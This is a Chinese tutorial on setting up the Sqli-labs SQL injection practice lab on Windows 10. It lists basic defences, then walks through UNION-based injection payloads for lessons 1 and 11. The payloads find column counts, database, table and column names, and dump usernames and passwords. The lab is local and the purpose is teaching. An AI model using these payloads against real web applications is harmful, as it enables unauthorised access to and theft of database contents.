在Windows10中搭建 Sqli-labs环境


 
 
 
 
 
 

 

一、SQL注入是什么

SQL注入是一种注入攻击手段,通过执行恶意SQL语句,进而将任意SQL代码插入数据库查询,从而使攻击者完全控制Web应用程序后台的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序验证,比如绕过登录验证登录Web身份验证和授权页面;也可以绕过网页,直接检索数据库的所有内容;还可以恶意修改、删除和增加数据库内容。

二、防止SQl注入的思路和方法

  • 1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
  • 2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
  • 3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
  • 4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

三、环境搭建

1.下载地址

SQLiLabs源码下载:https://github.com/Audi-1/sqli-labs
使用phpstudy搭建: https://www.xp.cn/
phpStudy是一个PHP调试环境的程序集成包。恰好我们可以用到”PHP+Mysql+Apache”

2.配置

将之前下载的源码解压到phpstudy安装目录下的www目录下,修改sql-connections/db-creds.inc文件当中的mysql账号密码!默认的mysql数据库地址是“127.0.0.1 或 localhost”,用户名和密码都是”root”。主要是修改’$dbpass参数并保存

<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='123456';
$dbname ="security";
$host = '127.0.0.1';
$dbname1 = "challenges";

?>

打开浏览器http://localhost/sqli-labs-master/  访问首页,并点击“Setup/reset Database”以创建数据库,创建表并填充数据

3.注意

现在phpstudy软件由于版本比较高,默认PHP版本已经到了7.4,使用会有问题,所以再使用之前一定要切换到老版本,我这里使用的是PHP5.3

四、实操练习

GET字符型注入  Less-1
1.确定分隔符是 单引号 或者 双引号
http://localhost/sqli-labs-master/Less-1/?id=2'

2.确定表的 字段数(列数)  -- -
http://localhost/sqli-labs-master/Less-1/?id=2'  order by 3 -- -

-- - 注释符号

3.占位符判断
判断后端代码 取接口那几列数据
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3  -- -

4.查询数据库名
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database()  -- -

5.查询表名
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security'  -- -

6.查询列名

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema='security' and table_name='users' -- -

7.查询感兴趣的表数据
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password)  from users -- -


POST 字符型注入  Less-11
1.确定闭合符号
url: http://localhost/sqli-labs-master/Less-11/
data:uname=admin'&passwd=admin&Submit=submit

报错即可确定闭合符号

2.确定列数
url: http://localhost/sqli-labs-master/Less-11/
data:uname=admin' order by 1 -- - &passwd=xxxxxx&Submit=submit


3.占位符判断,判读给那个位置
url: http://localhost/sqli-labs-master/Less-11/
data:uname=admin' union select 1,2 -- - &passwd=xxxxxx&Submit=submit

4.数据库名
url: http://localhost/sqli-labs-master/Less-11/
data:uname=-admin' union select 1,database() -- - &passwd=xxxxxx&Submit=submit

5.查表名
url: http://localhost/sqli-labs-master/Less-11/
data:uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- -&passwd=xxxxxx&Submit=submit

6.查字段名
url: http://localhost/sqli-labs-master/Less-11/
data:uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -&passwd=xxxxxx&Submit=submit

7.查询数据
url: http://localhost/sqli-labs-master/Less-11/
data:uname=-admin' union select group_concat(username),group_concat(password)  from users -- -&passwd=xxxxxx&Submit=submit

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM